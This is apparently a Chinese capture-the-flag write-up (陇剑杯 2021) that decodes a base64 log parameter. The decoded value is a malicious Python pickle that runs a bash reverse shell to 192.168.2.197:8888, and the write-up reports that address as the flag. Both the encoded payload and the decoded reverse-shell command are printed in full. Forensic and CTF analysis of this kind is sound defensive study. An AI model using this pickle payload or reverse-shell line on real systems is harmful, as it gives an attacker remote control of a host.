[陇剑杯 2021]简单日志分析(问3)

1. 提取最后一条 base64

最后一条日志的 user 参数值为:

text

复制代码
STAKcDAKMFMnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4=

2. Base64 解码

python

复制代码
import base64

payload = "STAKcDAKMFMnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4="
decoded = base64.b64decode(payload)
print(decoded)

输出:

text

复制代码
b'I\x0c0\x0c0S\'bash -i >& /dev/tcp/192.168.2.197/8888 0>&1\'\nw1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR.'

可以看到里面明明白白地出现了:

text

复制代码
bash -i >& /dev/tcp/192.168.2.197/8888 0>&1

3. 结论

反弹 shell 的目标 IP 和端口是:

text

复制代码
192.168.2.197:8888

最终答案:

text

复制代码
192.168.2.197:8888
NSSCTF{192.168.2.197:8888}
相关推荐
星际编程喵1 分钟前
研发流程规范:Git Commit 书写标准
git·gitee·github·gitcode
丶乘风破浪丶3 分钟前
Vue项目中判断相同请求的实现方案:从原理到实战
前端·javascript·vue.js
why技术3 分钟前
如果让我站在科技从业者的角度去回看 2025 年,让我选一个词出来形容它,我会选择“vibe coding”这个词。
前端·后端·程序员
worxfr5 分钟前
CSS Flexbox 布局完全指南
前端·css
0思必得05 分钟前
[Web自动化] JS基础语法与数据类型
前端·javascript·自动化·html·web自动化
Dreamcatcher_AC12 分钟前
前端面试高频问题解析
前端·css·html
damo王23 分钟前
how to install npm in ubuntu24.04?
前端·npm·node.js
光影少年24 分钟前
Vue 2 / Vue 3 diff算法
前端·javascript·vue.js
zhixingheyi_tian35 分钟前
Yarn 之 run job
java·开发语言·前端
指尖跳动的光37 分钟前
如何减少项目里面if-else
前端·javascript